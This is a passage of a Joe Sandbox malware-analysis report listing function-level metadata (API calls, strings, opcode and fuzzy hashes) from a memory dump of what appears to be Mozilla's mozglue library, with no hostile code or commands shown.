Instruction Fuzzy Hash: DA21A371A002089FDF106F24DC49AAE7BBCFF45218F00C528E95E97640DB74A959CFD2

Function 6CB27030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CB27046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CB27060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB2707E

Part of subcall function 6CAD81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAD81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB27096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB2709C
LocalFree.KERNEL32(?), ref: 6CB270AA

Strings

(null), xrefs: 6CB2706A, 6CB27083
### ERROR: %s: %s, xrefs: 6CB27087

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 94e377fc4409f70f107ca5e81b9f01692444171864c6e517fcec5473e39fb670
Instruction ID: 280d6d30c845c39ff73b0c5c8136615ae1de21d23468a0e8986057c1a6a377ba
Opcode Fuzzy Hash: 94e377fc4409f70f107ca5e81b9f01692444171864c6e517fcec5473e39fb670
Instruction Fuzzy Hash: 1D01B9B2A04108AFDF00ABA4DC4ADAF7BBCFF49219F014425FA09A3245D67169188BA1

Function 6CAE9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAE9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CAE9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAE9F34
LeaveCriticalSection.KERNEL32(?), ref: 6CAEA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAEA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAEA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAEA8B1, 6CAEA8D4, 6CAEA8EF

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 03ab6fdabe9c78f6380eb308af2615699f45076992cade54ad4efdf8c7a6e93c
Instruction ID: 9c7e2ff69896dfecd54246808321c58c59611b279bc1d0b250bda521fff9c36e
Opcode Fuzzy Hash: 03ab6fdabe9c78f6380eb308af2615699f45076992cade54ad4efdf8c7a6e93c
Instruction Fuzzy Hash: FE724772A156118FD314CF28C540615FBF2BF89328B29C6ADE8699B791D335EC81DBC1

Function 6CB12C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB12C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB12C61

Part of subcall function 6CAC4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAC4E5A
Part of subcall function 6CAC4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAC4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB12C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB12E2D

Part of subcall function 6CAD81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAD81DE

Strings

(root), xrefs: 6CB1354F
expected a Time entry, xrefs: 6CB12E36
ProfileBuffer parse error: %s, xrefs: 6CB12E3B

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 3c0e9e229aea88282c8bbc914ddecb47a2015e7c283dbcf356e5c18bde8be963
Instruction ID: 451a61b973dbcbb3b58fd26b3b8092c3e530b59495c3cfae41bdcc97f1a33ecd
Opcode Fuzzy Hash: 3c0e9e229aea88282c8bbc914ddecb47a2015e7c283dbcf356e5c18bde8be963
Instruction Fuzzy Hash: DD919CB460C7808FC724CF24D49469EB7E1EF8A358F108A1DE59A8BB50EB30D949CB53

Function 6CAEC0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CAED4BB
0123456789abcdef, xrefs: 6CAEC317

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: bf517bdf09532429b9e8a37a03f8793f4cee4c2c7f16b9e6c35586994aee031f
Instruction ID: dffb23e20a4a61b39bce05a72635c466619264d66059e6e6cd99a255cd145045
Opcode Fuzzy Hash: bf517bdf09532429b9e8a37a03f8793f4cee4c2c7f16b9e6c35586994aee031f
Instruction Fuzzy Hash: 3B52D330A083418FD724DF18C45076ABBF2FBCA318F18891DE9E687B95D7359885DB92

Function 6CB29E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB29F3D
__aulldiv.LIBCMT ref: 6CB29F77
__aullrem.LIBCMT ref: 6CB29F8C
__aulldiv.LIBCMT ref: 6CB2A023

Strings

-Infinity, xrefs: 6CB29E60, 6CB29E7B
NaN, xrefs: 6CB29EAB

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 819c9aee882fa765f7e567872500159d36e249162e1044599f1bcc52f315df7c
Instruction ID: 3edd572abc13546fba8048af135e398a5140317f9c81c78818b5e535fa1a5d12
Opcode Fuzzy Hash: 819c9aee882fa765f7e567872500159d36e249162e1044599f1bcc52f315df7c
Instruction Fuzzy Hash: 91C1CE31E003588BDB14CFA8C8507EEB7BAFF89714F144529D419ABB80DB79A949CF91

Function 6CACD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6CACD7DD
, xrefs: 6CACDA88
0, xrefs: 6CACDC7F
@, xrefs: 6CACDAF6
0, xrefs: 6CACD852
9, xrefs: 6CACDE7F
1, xrefs: 6CACDBDD
8, xrefs: 6CACDC08

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 6e10437dc22c38bed860dbd69f76c997eb2f220f98d9afe7e667cb52af6eec81
Instruction ID: 873641d8182e95720d624e04c51b56886542c0a1f682724d09a83e8305622c7f
Opcode Fuzzy Hash: 6e10437dc22c38bed860dbd69f76c997eb2f220f98d9afe7e667cb52af6eec81
Instruction Fuzzy Hash: 2462AB71B8C3858FD701CE29C49076ABBF2AF86358F184A5DE4E54BA91C33599C5CB83

Function 6CAD9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6CADAB22
9, xrefs: 6CADA5D6
0, xrefs: 6CADA100
@, xrefs: 6CADA625
1, xrefs: 6CADA824
' , xrefs: 6CADA3D8

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 63c9244bbd84a5cc20b3cf5d6ec1da0fe204cbcf1a730b9fae2b78902cf95f0b
Instruction ID: f56c523d5812bb9032ec31d6c9d483ab8fcc71692b27c819f8669e753d705364
Opcode Fuzzy Hash: 63c9244bbd84a5cc20b3cf5d6ec1da0fe204cbcf1a730b9fae2b78902cf95f0b
Instruction Fuzzy Hash: C282CF755093158BD7108F19C09036EB7F3EB85719F5A8A2AE8E547A90D334BDC6CB82

Function 6CACBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CACC1CB
__aulldiv.LIBCMT ref: 6CACC24C
__aulldiv.LIBCMT ref: 6CACC348
__aullrem.LIBCMT ref: 6CACC365
__aulldiv.LIBCMT ref: 6CACC37D

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: e0814ff9691a69e74d8c34330952909cb313f001d4a69409921e56837480b856
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: FF322532B146118FC718DE2CC890A66BBE6AFC9314F09867DE899CB395D734ED05CB91

Function 6CB3545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB38A4B

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 81237a62b7e789dd53061543969d3cecb8a6990e45decfda0408d172e9db48a4
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 5EB1E872E0026A8FDB24CF68CC907D9B7B2EF85314F1512AAC54DDB785D730A989CB91

Function 6CB3542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB3925C

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 01ac6ef9795f0d1c062a397b9b3cb1c86cc11ea2a23e4a47de10bdc5c8376185
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: BEB1D572E0426ACFCB14CF58CC816EDB7B2EF84314F14126AC959EB785D730A989CB91

Function 6CB350C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB38E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB3925C

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 6254028a1f44fa6e31530d63c6bfd9eac8380a58f9ea208da3e45877819800b3
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: C9A1D672E001668FCB14CE68CC8179DB7B2EF85314F1502BAC94DEB785D730A999CB91

Function 6CB177A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB17A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB17A93

Part of subcall function 6CAE5C50: GetTickCount64.KERNEL32 ref: 6CAE5D40
Part of subcall function 6CAE5C50: EnterCriticalSection.KERNEL32(6CB4F688), ref: 6CAE5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB17AA1

Part of subcall function 6CAE5C50: __aulldiv.LIBCMT ref: 6CAE5DB4
Part of subcall function 6CAE5C50: LeaveCriticalSection.KERNEL32(6CB4F688), ref: 6CAE5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CB17B31

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 983769ca6d8fddc1b190693283c7c8eac40a3d276393713f8db5af5337f5a871
Instruction ID: 250b656d2da0e4cc5f814c7ae8cdd47c3f95640f6a6625d9eaf1863f75c4e5f6
Opcode Fuzzy Hash: 983769ca6d8fddc1b190693283c7c8eac40a3d276393713f8db5af5337f5a871
Instruction Fuzzy Hash: 4BB15B3561C3818BCB14CF25C45069FB7E2AFC9318F254A1CE99567B91DBB0E90ACB83

Function 6CB06CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CB06D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB06E1E

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 830bfd9a4e4280407697ed09540d554692dfff08c0bf94dd1ea64b228dc31dcf
Instruction ID: 811d812712c5fabe6a245929a17a4388a3eea609afc62fb9e721893eabbfcfc1
Opcode Fuzzy Hash: 830bfd9a4e4280407697ed09540d554692dfff08c0bf94dd1ea64b228dc31dcf
Instruction Fuzzy Hash: 4BA181746183858FCB15CF24C4907AEFBE2FF99308F44495DE88A87B51DB70A949CB92

Function 6CB2B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CB2B720
RtlNtStatusToDosError.NTDLL ref: 6CB2B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CAFFE3F,00000000,00000000,?,?,00000000,?,6CAFFE3F), ref: 6CB2B760

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 84e83cc1ec4a038072112d24283bd9ae38e08a161a4a7f8fc1ef91c5ef89a8b6
Instruction ID: 66c3bc0072146b52cc3c15834be734a5f325a46f9e22e4df60f4b172728a42f6
Opcode Fuzzy Hash: 84e83cc1ec4a038072112d24283bd9ae38e08a161a4a7f8fc1ef91c5ef89a8b6
Instruction Fuzzy Hash: 87F0C87094425CAEDF059AE1CC85BEF77BCDB0431DF106229E51A615C0DB7895CCC661

Function 6CAE4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CAE4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAE5585, 6CAE55A8, 6CAE55C3, 6CAE5624

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 5fa8e6cdd9a586f5c7dde29a45de0320c96b6cbba106b38a35e464f32e6059ae
Instruction ID: 846192738d2586a1dfb58d7c047e0722aea262fe0f731ad72e4cdf6d2bbe1a7d
Opcode Fuzzy Hash: 5fa8e6cdd9a586f5c7dde29a45de0320c96b6cbba106b38a35e464f32e6059ae
Instruction Fuzzy Hash: 1DB25C71A056018FD308CF59C590715BBE2BFC9328F2DC7ADE46A8B6A5D771E881DB80

Function 6CB285F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB28C7C
__aulldiv.LIBCMT ref: 6CB28DD7

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 1c27cab240772c5e3f66679b8075fdcf4976f7c2425af2df552ec8fb1942e194
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: E7327272F001598BDF18CE9CC4A1BBEB7B2FB88300F15853AD50ABB794D6399D458B91

Function 6CB2B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAD03D4,?), ref: 6CB2B955
NtQueryVirtualMemory.NTDLL ref: 6CB2B9A5

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 1863bbbce9478c209d32ff457ecf10355dbd67d9db28792dd9ccd0ccd7127e1f
Instruction ID: 56eeedab284c7304f09201d47ccf3ea6b03377fef81183b7191a690d295816d9
Opcode Fuzzy Hash: 1863bbbce9478c209d32ff457ecf10355dbd67d9db28792dd9ccd0ccd7127e1f
Instruction Fuzzy Hash: E741D671F012199FDF04CFA9D890AEEB7B6EF88314F148129E41AA7704DF34A8498B91

Function 6CB05C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CAD4A63,?,?), ref: 6CB05F06

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: d682d19e5924562a5dcbd7e2fcfc4157076843be138af8d8e0eae06b9075be2c
Instruction ID: bf75e2a79e21ae5a1f47c6b255a8b14b664636ffb5d72ef4a1c8c709989b4e80
